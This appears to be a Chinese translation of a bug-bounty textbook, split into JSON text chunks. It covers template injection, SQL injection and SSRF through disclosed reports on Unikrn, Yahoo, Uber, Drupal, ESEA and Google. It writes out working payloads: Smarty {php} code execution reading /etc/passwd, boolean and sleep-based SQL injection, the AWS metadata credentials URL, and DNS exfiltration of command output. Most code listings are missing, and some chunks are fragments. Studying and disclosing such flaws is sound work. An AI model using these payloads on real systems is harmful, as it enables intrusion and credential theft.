    {"text": "未知 8.6 Unikrn Smarty模板注入 难度： 中 URL： 未公布 资源位置： https://hackerone.com/reports/164224/ 报告日期： 2016年8月29日 支付奖金： 400美元 在2016年8月29日，我受邀参加当时为Unikrn（一家电子竞技投注网站）举办的私人漏洞奖励项目。在我最初的网站勘测中，我使用的Wappalyzer工具证实了该网站使用了AngularJS。这个发现对我来说是个积极信号，因为我已经成功地发现过AngularJS注入漏洞。我开始在我的个人配置文件中通过提交{{7*7}}并查找页面呈现的数字49来寻找CSTI漏洞。尽管我没有在配置网页中获得成功，但是我注意到有个邀请朋友来该网站的功能，因此我就测试了这个功能。 在提交邀请自己的申请后，我接收到了如图8-3所示的奇怪邮件。 图8-3 我接收的来自Unikrn的带有Smarty错误提示的邮件 邮件的开始包含一个具有Smarty error提醒的堆栈跟踪记录，显示了系统并不识别7*7。看起来尽管{{7*7}}被注入到了模板中，Smarty也尽力去评估该代码，但是并不能识别7*7。 我立刻查阅了James Kettle关于模板注入的文章（ http://blog.portswigger.net/2015/08/server-side-template-injection.html ）以测试他所使用过的Smarty负载（他也在YouTube上提供了一个黑帽子的演示）。Kettle特别提到了负载{self:: getStreamVariable(\"file:///proc/self/loginuuid\")}，该负载会调用getStream-Variable方法来读取文件/proc/self/loginuuid。我试了他分享的这个负载，但是并没有得到想要的结果。 现在我对我的发现有所怀疑。随后我查阅了Smarty文档手册来寻找保留变量，这些保留变量中包含用于返回正在使用的Smarty版本的{$smarty.version}。我将配置文件中我的姓名改为{$smarty.version}，并重新邀请自己来该网站。结果是收到了一个使用2.6.18作为我的名字的邀请邮件，而这正是安装在该网站上的Smarty的版本。我的注入成功执行了，我的信心也恢复了。 当我继续阅读Smarty文档手册时，我得知了可以使用标签{php} {/php}来执行任何PHP代码（Kettle在他的文章中特别提到了这些标签，但是我却完全错过了它们）。因此，我试着把负载{php}print \"Hello\"{/php}当作我的名字，并又一次提交了邀请。结果邮件中显示Hello邀请我到该网站，这说明我已经成功执行了PHP的print函数。 作为最后的一个测试，我想提取/etc/passwd文件以向漏洞奖励项目显示该漏洞的潜在风险。尽管/etc/passwd文件并不是关键的，但能访问它通常作为一个展示可以进行远程代码执行的标志。因此，我使用了如下负载： 该PHP代码打开了/etc/passwd文件，使用file_get_contents读取文件内容，并把读出的内容赋值给变量$s。一旦$s被赋值，我用var_dump将该变量的内容显示出来，希望我收到的电子邮件将包含/etc/passwd的内容，并作为邀请我访问Unikrn网站的人的姓名。但是非常奇怪的是，我收到的邮件包含一个空的姓名。 我怀疑是不是Unikrn限制了姓名的长度。这一次我查阅了PHP文档手册中的file_get_contents，其中详细介绍了如何限制一次读取数据的长度。我把负载改为如下所示： 该负载中关键的参数是'/etc/passwd'、0和100。文件路径表示要读取的文件，0表示PHP从文件的什么地方开始读取（本例中是从文件开始处进行读取），100表示要读取的数据长度。我用该负载邀请我自己来Unikrn网站，生成的邮件如图8-4所示。 图8-4 Unikrn显示/etc/passwd文件内容作为姓名的邀请邮件 我成功执行了任意代码，并且一次提取了/etc/passwd文件中的100个字符作为漏洞验证证明。在我提交报告后的一个小时内，该漏洞就得到了修复。 要点 挖掘该漏洞很有乐趣。最初的堆栈跟踪记录就显示出了什么地方出现了问题，就像俗话说的，“无风不起浪”。如果你发现了一个潜在的SSTI，一定要阅读相关文档手册以确定如何更好地推进，并且一定要坚持下去。 未知 8.7 总结 当你在寻找漏洞时，最好先试着确认一下使用的相关技术（比如网站的框架，前端呈现的引擎等）以标识出可能的攻击向量以及测试的方法。模板引擎的多样性使得确定在所有情况下哪些起作用，哪些不起作用变得十分困难，但是知道采用了哪种技术将有助于解决这些困难。注意在呈现你控制的文本时可能出现的机会。还有，也要注意漏洞不一定十分明显，而是存在于其他功能模块中，例如存在于电子邮件模块中。 未知 第9章 SQL注入 当具有后台数据库的网站存在允许攻击者使用SQL（结构化查询语言）进行查询或攻击数据库的漏洞时，该漏洞叫作SQL注入漏洞（SQLi）。通常，SQLi攻击会获得很高的回报，因为这些攻击具有毁灭性：攻击者能够操纵或者提取数据库中的信息，甚至能够在数据库中创建一个管理员登录账号。"},
    {"text": "未知 9.1 SQL数据库 数据库在一系列的表中以记录和字段的形式存储信息。在数据库中，表一般包含一个或多个字段，表中的一行数据代表一条记录。 用户通过SQL在数据库中创建、读取、更新和删除记录。用户向数据库发送SQL命令（语句或查询），假定这些命令被接受，数据库就会解释这些语句并执行一些相关操作。流行的SQL数据库包括MySQL、PostgreSQL、MSSQL等。在本章中，我们使用MySQL，但是这些通用概念适用于所有的SQL数据库。 SQL语句由关键词和函数构成。例如，下面的语句告诉数据库从users表中选择ID字段值等于1的name列数据。 很多网站都通过数据库存储信息并且使用这些信息来动态地生成在页面中展现的内容。例如，如果网站https://www.<example>.com/在数据库中存储了你通过你的账号登录后提交的订单信息，那么你的浏览器将会查询该网站的数据库，并基于从数据库中查询出来的数据生成HTML。 下面是当用户访问https://www.<example>.com?name=peter时，服务器端生成MySQL命令的PHP代码的理论示例： 该代码使用$_GET[]❶并通过方括号中指定的URL参数获取姓名值，并把该值保存在变量$name中。然后该参数不经任何过滤直接传递给变量$query❷。变量$query代表将要执行的查询语句，该语句将从users表中查询出所有满足name列的值等于URL参数中name值的记录。最后将变量$query传递给PHP函数mysql_query❸以执行该查询。 网站期望name字段包含规则的文本。但是如果用户在URL参数中录入了一个恶意的输入test' OR 1='1，即https://www.example.com?name=test' OR 1='1，那么执行的查询语句如下： 该恶意输入在test❶之后关闭了开放单引号(')，并在查询语句的最后增加了SQL代码OR 1='1。OR 1='1中的悬挂单引号是为了与❷之后硬编码的关闭单引号对应。如果该注入查询语句不包含一个单引号，那么剩下的❷之后的悬挂单引号将导致SQL语法错误，这将阻止该查询语句的执行。 SQL使用条件操作符AND和OR。在本例中，该SQLi注入修改了用于查找记录的WHERE条件子句为查找所有满足name列等于test或者等式1='1'成立的记录。MySQL将'1'作为一个整型值看待，因为1永远等于1，所以该查询条件为true，从而该查询会返回users表中所有的记录。但是当查询条件的其他部分已经进行了字符过滤时，注入test' OR 1='1可能就不会发生作用。例如，你可能会使用如下所示的查询： 在本例中，password参数也是用户可控输入，但经过了适当的字符过滤❶。如果你使用同样的负载test' OR 1='1作为姓名，并且假设你的口令是12345，那么最后生成的查询语句看起来如下： 该查询查找满足name等于test或者1='1'，并且password是12345（我们忽略该数据库采用明文存储口令存在另外漏洞这一事实）的所有记录。因为password的条件检查使用的是AND操作符，该查询除了在password是12345时，不会返回记录。尽管这中断了我们正在尝试的SQLi，但并不会阻止我们尝试其他攻击方法。 我们需要删除password参数，这可以通过在test' OR 1='1'后面增加;--来实现。该注入完成两项任务：分号(;)用来结束SQL语句，两个中横线(--)告诉数据库剩下的文本都是注释。该注入参数改变查询语句为SELECT * FROM users WHERE name='test' OR 1='1';。语句中的代码AND password='12345'变成了注释，因此该命令将返回数据库表中的所有记录。当你使用--作为注释符时，一定要注意MySQL中要求在两个中横线后面与注释文本之间至少要有一个空格。否则，MySQL将不会执行该命令，而是会返回错误提示。 未知 9.2 防御SQLi 防御SQLi的一种方法是使用预编译语句，这是数据库为执行重复查询而设计的一种特性。本书中我们不详细讨论预编译语句的细节，它们能够防御SQL注入，主要是因为这些查询不再是动态执行的了。数据库通过为变量设置占位符的方式来像模板一样使用这些查询语句。结果是，尽管用户向查询语句传递了未过滤的数据，但是这种注入不能修改数据库的查询模板，因此也就阻止了SQLi。 网站开发框架，例如Ruby on Rails、Django、Symphony等，也提供内嵌的抵御SQLi的防护手段。但是这些防护手段不可能在哪里都适用，在哪里都能抵御该种漏洞。你刚刚看到的这两个简单的SQL注入的例子在用这些开发框架开发的网站上并不会发生作用，除非网站开发者没有遵循最佳开发实践，或者没有认识到框架提供的保护功能不是自动提供的。例如，网站 https://rails-sqli.org/ 就维护了一个由开发者犯错而逐渐积累起来的Rails中常见的SQLi模式列表。当测试SQLi漏洞时，你最好的赌注应该下在那些看起来经过客户化定制的老网站或者那些使用未采用当前系统所有内嵌防护手段的网站开发框架和内容管理系统的老网站上。"},
    {"text": "未知 9.3 雅虎体育盲SQLi 难度： 中 URL： https://sports.yahoo.com 报告位置： 未公布 报告日期： 2014年2月16日 支付奖金： 3705美元 当你注入SQL语句到一个查询中但不能直接得到该查询的输出结果时，这种SQL注入就叫作盲SQL注入（blind SQLi）。利用盲注入的关键是通过比较修改后的和没修改的查询返回的不同结果来推断信息。例如，在2014年2月，Stefano Vettorazzi在测试雅虎体育子域时发现了一个盲SQL注入漏洞。该网页通过URL获取参数，查询数据库中的数据，并且基于该参数返回NFL（National Football League，全美橄榄球联盟）队员的列表。 Vettorazzi修改了查询2010年NFL队员的URL，从 修改为 Vettorazzi在第二个URL中参数year的取值后面增加了两个中横线(--)。图9-1显示了在Vettorazzi增加两个中横线前雅虎网页的效果。图9-2显示了Vettorazzi增加两个中横线之后网页的效果。 图9-1中返回的队员信息与图9-2中返回的队员信息有所不同。我们看不到真正的查询，因为代码是在网站后台执行的。但是原始的查询看起来是向SQL查询语句传递了每个URL参数，构成了类似如下的语句： 通过在year参数取值后增加两个破折号，Vettorazzi把SQL语句改为类似如下语句： 图9-1 没有改变year参数时雅虎网站NFL队员查询结果 雅虎的这一漏洞不是很常见，因为在大多数的数据库中SQL查询必须以一个分号作为结束符。因为Vettorazzi仅注入了两个中横线并因此注释掉了查询语句中原有的分号，所以该查询语句本应该失败并返回错误提示或者不返回记录。有些数据库可以支持查询语句没有最后的分号，因此雅虎或者使用了该种数据库，或者它的网站代码以其他某种方式容忍了该种错误。无论怎样，在Vettorazzi意识到不同的查询返回结果不同时，他试着通过提交如下代码作为year参数来推断该网站所使用的数据库版本： 图9-2 year参数后增加--时雅虎网站NFL队员查询结果 MySQL数据库version()函数返回MySQL当前使用的版本。mid函数按照第二个和第三个参数确定的子串返回第一个参数对应的字符串。第二个参数表示函数返回的子串的开始位置，第三个参数表示子串的长度。Vettorazzi通过调用version()函数检测该网站是否使用了MySQL，然后通过传递给mid函数第一个参数1（表示从字符串头部开始）和第二个参数1（表示获取1个字符）来获取版本号的第一个数字，最后使用if语句来检测MySQL版本的第一个数字。 if语句有三个参数：逻辑检查、检查为真时执行的操作、检查为假时执行的操作。在本例中，结果取决于代码检查版本的第一个数字是否为5，如果是，那么返回true，否则返回false。 Vettorazzi将该真/假输出结果与year参数通过and操作符连接起来，因此，如果MySQL数据库的主版本号是5，那么2010年的队员信息将会返回到雅虎的网站页面上。该查询能够工作是因为条件2010 and true将为真，而2010 and false将为假并且不会返回记录。Vettorazzi执行了该查询并且没有收到任何记录，如图9-3所示，这意味着version()函数返回值的第一个数字并不是5。 图9-3 当检测数据库版本是否以数字5开头时，雅虎网站队员查询结果为空 该漏洞是一个盲SQLi，因为Vettorazzi在注入他的查询并进行提交后，在页面上并没有直接看到输出结果。但是Vettorazzi还是能够发现关于网站的一些信息。通过插入布尔检测，例如版本号检测中的if语句，Vettorazzi能够推断出他需要的信息。他也可以继续从雅虎的数据库中提取信息。但是通过他的测试查询能够发现关于MySQL版本的信息已经足以向雅虎证明存在该漏洞了。 要点 SQLi漏洞，像其他注入漏洞一样，并不总是难以利用。一种发现SQLi漏洞的方法是测试URL参数并观察查询结果的细微变化。在本例中，增加两个短横线就改变了Vettorazzi的原始查询结果，从而揭示了SQLi漏洞。"},
    {"text": "未知 9.4 Uber盲SQLi 难度： 中 URL： http://sctrack.email.uber.com.cn/track/unsubscribe.do/ 报告位置： https://hackerone.com/reports/150156/ 报告日期： 2016年7月8日 支付奖金： 4000美元 除了网页之外，你在其他地方，例如邮件链接中，也可以发现盲SQLi漏洞。"},
    {"text": "该链接看起来如下： 使用base64解码p参数值eyJ1c2VyX2lkIjogIjU3NTUiLCAicmVjZWl2ZXIi-OiAib3JhbmdlQG15bWFpbCJ9后返回一个JSON字符串{\"user_id\":\"5755\", \"receiver\": \"orange@mymail\"}。"},
    {"text": "该段增加的无害代码使数据库花更长的时间响应取消订阅的请求动作{\"user_id\": \"5755 and sleep(12)=1\", \"receiver\": \"orange@mymail\"}。"},
    {"text": "如果网站存在漏洞，该查询执行时将会解析sleep(12)，保持12秒时间不做任何操作，然后比较sleep命令的输出是否等于1。 在MySQL中，sleep命令通常返回0，因此sleep(12)=1将返回假。"},
    {"text": "取而代之的是，Tsai修改了他的查询，增加了一个条件检查，这样当查询语句查找他的用户ID时，将会与通过使用mid函数获取到的数据库中用户名和主机名中的一个字符进行比较。"},
    {"text": "手工方式暴力破解一个字符串会花很多时间，因此Tsai创建了一个代替他的自动产生和向Uber提交负载的脚本，具体如下： 该Python脚本以五行import语句❶开始，这些语句加载Tsai用于处理HTTP请求、JSON和字符串编码所需要的库。"},
    {"text": "一旦该脚本有了一个用于测试的用户名和主机名字符串的字符位置，代码就进入了一个❺处的内嵌循环，并针对base字符串中的每个字符进行迭代测试。"},
    {"text": "如果位置i的字符匹配上了用户名字符串中正被测试位置的字符时，脚本就会停止在该位置的测试而在user字符串中移到下一个字符位置继续进行测试。"},
    {"text": "该漏洞验证代码使得Tsai最后确认了数据库用户名和主机名是sendcloud_w@10.9.79.210，数据库名是sendcloud（为得到数据库名，在❻处用database替换user）。"},
    {"text": "要点 注意采用编码参数的HTTP请求。 在你针对请求中的参数进行解码并注入查询条件后，确保重新进行编码以便服务器仍然能够正确识别出该请求。"},
    {"text": "未知 9.5 Drupal SQLi 难度： 难 URL： 任何使用7.32之前版本（含）的Drupal网站 报告位置： https://hackerone.com/reports/31756/ 报告时间： 2014年10月17日 支付奖金： 3000美元 Drupal是一个类似Joomla!和WordPress的用于构建网站的流行开源内容管理系统。"},
    {"text": "PHP可以使用关联数组，它显式定义了键，例如： 该数组中的键是'red'和'yellow'，数组的值是箭头(=>)右侧的水果名。 或者，PHP也可以使用结构化数组，如下： 结构化数组的键是隐含的，基于在列表中值的位置确定。"},
    {"text": "在❶处，foreach通过调用array_filter($args, 'is_array')验证传递给它的值是否是一个数组，并且选取数组中的每个元素。 在该语句确认了有数组类型的输入后，在foreach循环中的每次迭代中，它将数组的每个键赋值给$key，每个值赋值给$data。"},
    {"text": "该代码将会修改数组中的值以生成占位符，因此在❷处初始化了一个新的空数组用于在后面存放占位符的值。 为生成占位符，在❸处对$data数组进行迭代遍历并把每个键赋值给$i，每个值赋值给$value。 然后在❹处、❷处初始化的new_keys将第一个数组的键串接上❸处的键。"},
    {"text": "下面是使用Drupal的db_query函数查询数据库的典型查询语句： 该db_query函数有两个参数：一个是包含用于变量替换的命名占位符的查询语句，另一个是用于替换这些占位符的取值数组。"},
    {"text": "最后的查询语句将使用name_0和name_1来代替这些键，如下所示： 但是当你使用关联数组调用db_query时就会出现问题，如下代码所示： 在这种情况下，:name是一个数组，并且它的键是'test);--'和'test'。"},
    {"text": "发生这种情况，是因为expand-Arguments会迭代遍历每个数组元素以替换占位符，但是假定传递给它的是一个结构化数组：在第一次迭代中，$i被赋值为'test);--'，$value被赋值为'user1'。"},
    {"text": "未知 9.6 总结 SQLi对于网站来说是重要而且危险的漏洞。如果攻击者发现了一个SQLi，那么他就有可能获得访问该网站的所有权限。在某些情况下，一个SQLi漏洞可能会通过向数据库中插入数据而使风险升级，从而具备了网站的管理权限，就像我们在Drupal例子中所述的那样。当你查找SQLi漏洞时，请检查你可以向查询语句传递未转义单引号或双引号的地方。当你发现一个漏洞时，该漏洞存在的迹象可能会很微弱，例如盲SQLi的情况。你还应该关注你可以以异常方式传输数据到网站的地方，例如，就像在Uber漏洞中所述的那样，在请求数据中能够替换参数的地方。 未知 第10章 服务器端请求伪造 服务器端请求伪造（SSRF）漏洞允许攻击者让服务器执行一个计划外的网络请求。类似于跨站请求伪造（CSRF）漏洞，SSRF会滥用其他系统来执行恶意行为。区别在于CSRF利用的是一个用户，而SSRF利用的是一个目标应用服务。如同CSRF，SSRF漏洞的影响和执行方法的变化范围很大。然而，能够让目标系统向其他未知系统发送请求，并不意味着目标应用就存在漏洞。目标应用的设计可能就允许这样的行为。因此，当你找到一个潜在的SSRF时，理解如何展示其（漏洞的）影响变得尤为重要。 未知 10.1 展示SSRF的影响 依赖于一个网站的组织结构，一个易受SSRF漏洞攻击的服务可能会构造一个访问内网或外网地址的HTTP请求。而这个易受攻击的服务所构造的请求的能力决定了你能用SSRF来干什么。 一些大型网站具备防火墙，能够禁止外部的互联网流量访问内网服务。例如，该网站有一批固定数量的公网接口服务来接收访问者的HTTP请求，然后向一些公网无法访问的服务转发请求。常见的例子如数据库服务，它通常无法被互联网访问。当你登录一个与数据库服务有交互的网站时，你可能通过常规的Web表格提交用户名、密码。该网站会接收你的HTTP请求，并使用你的认证信息向数据库服务提交它自己的请求。然后，数据库服务会响应Web应用服务，Web应用服务再将信息转发给你。在这个过程中，你一般意识不到远程数据库服务的存在，也不会直接访问数据库。 被攻击者控制着用来访问内部服务的漏洞服务器可能会暴露私有信息。例如，如果前端数据库实例存在一个SSRF，它可能允许攻击者向数据库服务发送请求并获取到他们不应该访问到的信息。SSRF漏洞让攻击者能够利用更多网络资源来访问目录。 假设你发现了一个SSRF，但存在漏洞的网站没有内部服务器，或通过这个漏洞无法访问内部服务器。这时，检查你是否能够从漏洞服务器向任意的外部站点发送请求。如果你能利用目标服务器与一台你控制的服务器进行通信，你可以使用从这台服务器发送的请求信息来更好地学习目标应用所使用的软件。或许你还能控制给它的返回结果。 例如，如果漏洞网站遵循重定向，你可以尝试将外部请求转换为内部请求（这是Justin Kennedy教给我的一个小技巧）。某些情况下，网站不允许访问内部IP，但可以连接外部站点。此时，你可以返回一个HTTP响应，其状态码为301、302、303或307，这些都是重定向类型。因为响应是由你控制的，你可以将重定向地址指向一个内部IP来测试该服务器，看其是否遵循301响应向其内部网络发送一个HTTP请求。 此外，你可以使用你的服务器发送的响应来测试其他漏洞，例如我们在10.4节中讨论的SQLi或XSS漏洞。攻击是否成功取决于目标应用如何使用伪造请求的响应，但通常在这些情况下，需要你充分发挥创造力才会有收获。 影响最小的情况，是当一个SSRF漏洞仅允许你访问一些限定的外部站点。此时，你可能需要利用一个配置错误的黑名单。例如，假设一个站点仅能访问www.<example>.com，且URL必须以<example>.com结尾才有效。攻击者可以注册一个attacker<example>.com的域名，以便攻击者能够控制返回到指定站点的响应。 未知 10.2 调用GET与POST请求 当你验证是否能够提交一个SSRF时，请确认你到底是调用GET还是POST方法来利用这个站点的。如果攻击者能够控制HTTP POST参数，那么POST请求会更为严重；POST请求通常调用状态变化行为——例如创建用户账户，调用系统命令，或执行二进制代码等——这取决于这台漏洞服务器能够访问的其他应用。与此相对，HTTP GET请求通常与数据泄露关联。由于POST请求的SSRF会比较复杂且与系统相关，我们在本章集中讨论GET请求的漏洞。如果要学习更多基于POST请求的SSRF，请阅读Orange Tsai发表在Black Hut 2017上的演示文稿，网址为 https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf 。"},
    {"text": "未知 10.3 执行盲测SSRF 在确定从哪里以及如何创建一个请求之后，就要考虑是否能够访问请求的响应。如果不能读取响应，那你就找到了一个盲测SSRF。举例来说，一名攻击者可能通过SSRF侵入了一个内部网络，但不能读取发送给内部服务器请求的HTTP响应。于是，他们需要找到一种替代的信息检测办法，通常是使用计数或DNS来实现。 在某些盲测SSRF中，响应时间能够透露服务器之间的相互协作信息。对不可访问的服务器进行端口扫描是挖掘响应时间的一种方法。端口将信息传入传出服务器。扫描服务器的端口，然后发送一个请求并检查是否有响应。例如，你可以通过端口扫描内网服务器，尝试在内部网络挖掘SSRF。这样，你能够根据一个已知端口（像80或443端口）在1～10秒内是否有响应，大概判断出服务器是处于打开、关闭还是过滤状态。被过滤的端口如同一个通信黑洞。它们不回复任何请求，所以你永远无法知道它们到底是打开的还是关闭的，而所有请求都会超时。相对地，快速的应答通常意味着服务是打开的且接收通信，或者服务是关闭的且不接受通信。当你通过端口扫描挖掘SSRF时，请尝试连接常用端口，例如22（SSH）、80（HTTP）、443（HTTPS）、8080（HTTP替代端口）和8443（HTTPS替代端口）。这能够帮助你判断响应与正常情况相比是否有区别，并根据这些区别来推断出一些信息。 DNS是一份互联网地图。你可以尝试使用内部系统调用DNS请求并控制请求的地址以及子域。成功的话，你能够在盲测SSRF弱点中夹带信息。通过这种方式挖掘盲测SSRF时，将夹带信息作为子域附加到你自己的主域上。目标服务器会向你的站点执行DNS查询你所指定的子域。例如，你找到一个盲测SSRF并且能够在服务器上执行一些有限的命令，但读不到任何响应。如果你能调用DNS查询且能控制查询的域名，可以把whoami命令作为SSRF的输出添加到子域。这一技术通常叫作带外（OOB）渗透。当你在子域中使用whoami命令时，让漏洞服务器向你的服务器发送一个DNS请求。你的服务器收到一个DNS查询，数据为data.<yourdomain>.com，其中data即为漏洞服务器执行whoami命令的结果。由于URL只能包含字母表字符，你需要使用base32对data进行编码。 未知 10.4 使用SSRF响应攻击用户 当你无法瞄准内部服务器时，你可以尝试利用SSRF去影响用户或应用自身。若你发现的SSRF不是盲测，那么一种可用手段是向SSRF请求返回恶意响应。例如执行在漏洞服务器上的跨站脚本（XSS）或SQL注入（SQLi）负载。如果其他用户也会访问，那么存下来的XSS负载就异常重要。你可以利用这些负载来攻击其他用户。比如，假设www.<example>.com/picture?url=，其URL参数接收一个URL以获取一张图片作为你的账户头像。你可以提交一个指向你自己网站的URL，它返回一个带有XSS负载的HTML网页。此时，完整的URL变成www.<example>.com/picture?url=<attacker>.com/xss。如果www.<example>.com保存了HTML的负载并当作账户头像进行渲染，则站点可能已经存储了一个XSS漏洞。但如果站点只是渲染HTML负载而没有存储它，你可能仍需要验证是否是由于该站点禁止了这种行为的CSRF漏洞。如果该站点没有被禁止，你可以将URL www.<example>.com/picture?url=<attacker>.com/xss分享给某个目标，当目标用户访问这个链接时，XSS会作为SSRF的结果被触发并向你的网站发送请求。 当你搜索SSRF漏洞时，要密切注意把URL或IP地址作为某些网站函数的一部分进行提交的机会。接下来考虑如何利用这个行为撬动与内部系统的通信，或与其他类型的恶意行为结合。"},
    {"text": "未知 10.5 ESEA SSRF和AWS元数据请求 难度： 中 URL： https://play.esea.net/global/media_preview.php?url=/ 报告位置： http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/ 报告日期： 2016年4月11日 支付奖金： 1000美元 某些情形下，你可以用多种方法来发现和证明一个SSRF的影响。电竞联盟（ESEA，一家对抗性电子游戏社区，在2016年启动了一个自营的漏洞悬赏项目。在ESEA这一项目刚启动时，Brett Buerhaus使用Google Dorking快速搜索以.php扩展名结尾的URL。Google Dorking使用Google搜索关键词来表征执行搜索的位置和信息查找类型。Buerhaus使用site:https://play.esea.net/ext:php作为搜索请求，来告诉Google只返回站点https://play.esea.net/中以.php结尾的文件。较老的网站设计中页面服务以.php结尾，这同时表明了该页面使用了过时的函数，更有可能在其中找到漏洞。Buerhaus执行这一搜索时，从返回结果中找到URL https://play.esea.net/global/media_preview.php?url=。 这一结果中参数url=值得注意。该参数意味着ESEA可以使用由URL参数指定的外站地址进行渲染。当你搜索SSRF时，URL参数是一个醒目标志。为了测试，Buerhaus把他自己的域名填入该参数，创建URL https://play.esea.net/global/media_preview.php?url=http://ziot.org 。他收到一条错误信息：ESEA期望URL返回一个图片。于是他用URL https://play.esea.net/global/media_preview.php?url=http://ziot.org/1.png尝试并取得成功。 在创建服务器端请求中使用用户填写的参数时，验证文件扩展名是一种提升功能安全性的常规手段。ESEA限制URL必须为图片，但这并不等于它成功验证了所有URL。Buerhaus在URL中添加了一个空字节（%00）继续测试。在需要手工管理内存的编程语言中，一个空字节表征字符串结束。取决于站点究竟如何实现其功能，添加一个空字节可能导致站点过早结束URL。如果ESEA存在漏洞，替换请求为https://play.esea.net/global/media_preview.php?url=http://ziot.org%00/1.png会导致站点请求到https://play.esea.net/global/media_preview.php?url=http://ziot.org但是Buerhaus发现添加空字节没生效。 接下来，他尝试添加额外的用来分割URL的斜线。多重斜线后面的输入通常会被忽略，因为多重斜线不符合URL的标准结构。将请求替换为https://play.esea.net/global/media_preview.php?url=http://ziot.org///1.png，Buerhaus期望站点会创建一个到https://play.esea.net/global/media_preview.php?url=http://ziot.org的请求。这一尝试依然失败。 Buerhaus最后尝试，将URL参数中1.png前面的斜线替换成了问号。即将原本的https://play.esea.net/global/media_preview.php?url=http://ziot.org/1.png替换为https://play.esea.net/global/media_preview.php?=http://ziot.org?1.png。 第一个URL到他的站点请求/1.png，而第二个URL以1.png作为参数，请求他的站点主页 http://ziot.org 。最终，ESEA显示了Buerhaus的 http://ziot.org 的网页。 Buerhaus确认了他能够创建额外的HTTP请求，且站点会将请求结果进行渲染，这是一个良好的开端。但只是引入对任意站点的访问请求，对一家公司来说可能并不是不能接受的风险，特别是当服务器既不暴露什么信息，网站的HTTP响应也不做什么的时候。为了提升SSRF的严重性，Buerhaus在他的服务响应中添加了一个XSS负载（如10.4中所描述的）。 他将这一漏洞分享给了Ben Sadeghipour，看看他们能否进一步提升该漏洞。Sadeghipour建议提交http://169.254.169.254/latest/meta-data/hostname。这是亚马逊网页服务（AWS）提供的用于其主机名解析的一个IP地址。如果一个AWS服务器向这一URL发送一个HTTP请求，AWS返回该这个服务器的元数据。通常，这一特性用于内部自动化和脚本化提升。但这一终端也可以被用来访问私有数据。取决于站点的AWS的配置，端点https://169.254.169.254/latest/meta-data/iam/security-credentials/对执行这一请求的服务器返回了身份访问管理器（IAM）安全证书。由于AWS安全证书难以配置，对于拥有过多权限的账号来说，这样的情形并不罕见。一旦你能够访问这些证书，你可以使用AWS命令行来控制该用户能够访问的所有服务。ESEA其实运行在AWS上，且该服务器的内网主机名被返回到Buerhaus手上。至此，他完成测试，并上报了这一漏洞。 要点 当你在搜索需要URL以特殊形式组装的漏洞时，Google Dorking可以大幅节约你的时间。如果你使用这一工具来搜索SSRF漏洞，要特别关注与外部站点有交互的URL。这时，站点被url=这一URL参数包裹。当你找到一个SSRF时，多想想！Buerhaus可以上报SSRF使用了XXS负载，但这远不比能够访问AWS元数据有冲击力。"},
    {"text": "未知 10.6 Google内部DNS SSRF 难度： 中 URL： https://toolbox.googleapps.com/ 报告位置： https://www.rcesecurity.com/2017/03/ok-google-give-me-all-your-internal-dns-information/ 报告日期： 2017年1月 支付奖金： 未公布 有时，站点被设计为只响应外网站点的HTTP请求。当你发现这样设计的站点时，检查一下能否滥用该站点去访问其内部网络。 Google提供站点https://toolbox.googleapps.com来帮助用户对使用Google G Suite的服务进行debug。这一服务的DNS工具引起了Julien Ahrens（www.rcesecurity.com）的注意。因为该服务允许用户执行HTTP请求。 Google的DNS工具包括dig。它的行为就如UNIX上的dig命令，且允许用户对一个站点的DNS信息进行域名查询。一个可读域名，例如www.<example>.com，其DNS信息映射为一个IP地址。在Ahrens查询时，Google包括两个输入域：一个为URL（用于映射为IP地址），另一个为域名服务器，如图10-1所示。 Ahrens注意到了域名服务器字段，因为该字段允许用户设置一个IP地址来指定DNS到哪里查询。这一重要发现意味着用户可以向任意IP地址发送DNS请求。 图10-1 Google dig工具请求示例 一些IP地址被预留作内网使用。它们可以被内网DNS请求发现，但不应该通过互联网访问。这些预留IP地址段包括： ●10.0.0.0到10.255.255.255 ●100.64.0.0到100.127.255.255 ●127.0.0.0到127.255.255.255 ●172.16.0.0到172.31.255.255 ●192.0.0.0到192.0.0.255 ●198.18.0.0到198.19.255.255 此外，一些IP地址被预留用作特别用途。 为了开始测试域名服务器字段，Ahrens将他自己的站点作为待查询的域名，并使用IP地址127.0.0.1作为DNS服务器。IP地址127.0.0.1通常作为localhost被访问，一个服务器用它来访问自身。此时，localhost是执行dig命令的Google服务器。Ahrens的测试结果为“服务无响应”（Server did not respond）的错误。这个错误说明该工具尝试连接它自身的53端口（该端口响应DNS查询）来查询Anrens站点（rcesecurity.com）的信息。字符串“无响应”（did not respond）极为关键，它说明服务器允许内部连接；相反，字符串“权限拒绝”（permission denied）说明不允许内部连接。这一醒目标志鼓舞了Ahrens继续测试。 接下来，Ahrens向Burp Intruder工具发送HTTP请求，以便他可以遍历10.x.x.x内网地址段。几分钟后，他从一个以10.开头的内网地址（并不是他的发现目标）接收到一个空的A记录的响应，这是一种DNS服务器返回的记录。尽管这个A记录是空的，但它指向Ahrens的网站： Ahrens已经发现了一个会响应他的内网请求的DNS服务器。一个内网DNS服务器通常不会知道外部网站，所以会返回空的A记录。但这个服务器应该知道内网的地址映射。 为了证明漏洞的影响，Ahrens需要获取Google的内部网络信息，而内部网络信息不应该被从公网访问。快速Google搜索表明Google使用corp.google.com子域名作为其内部网站的基址。于是Ahrens开始对子域名corp.google.com进行暴力破解，最终找到域名ad.corp.google.com。将这一子域名填入dig工具，并对内网IP地址执行A记录查询请求，Ahrens得到了之前返回过的Google私有DNS信息，十分丰富： 注意对内部IP地址100.REDACTED和172.REDACTED的访问。与之相比，从公网对ad.corp.google.com进行DNS查询，返回如下记录，其中不包括任何Ahrens发现的私有IP地址： Ahrens也用Google的DNS工具查询了ad.corp.google.com的域名解析服务器，其返回结果如下： 此外，Ahrens发现了至少一个内部域可以从互联网上被公开访问：一台Minecraft服务器，域名为minecraft.corp.google.com。 要点 注意那些具有创建外部HTTP请求功能的网站。当你发现它们，试着使用私有IP地址127.0.0.1或例子中列举的IP区间作为内部请求指向的地址。如果你发现内部站点，试着从外部源去访问它们，来证明漏洞存在更大的影响。它们很可能被设计为只允许内部访问。"},
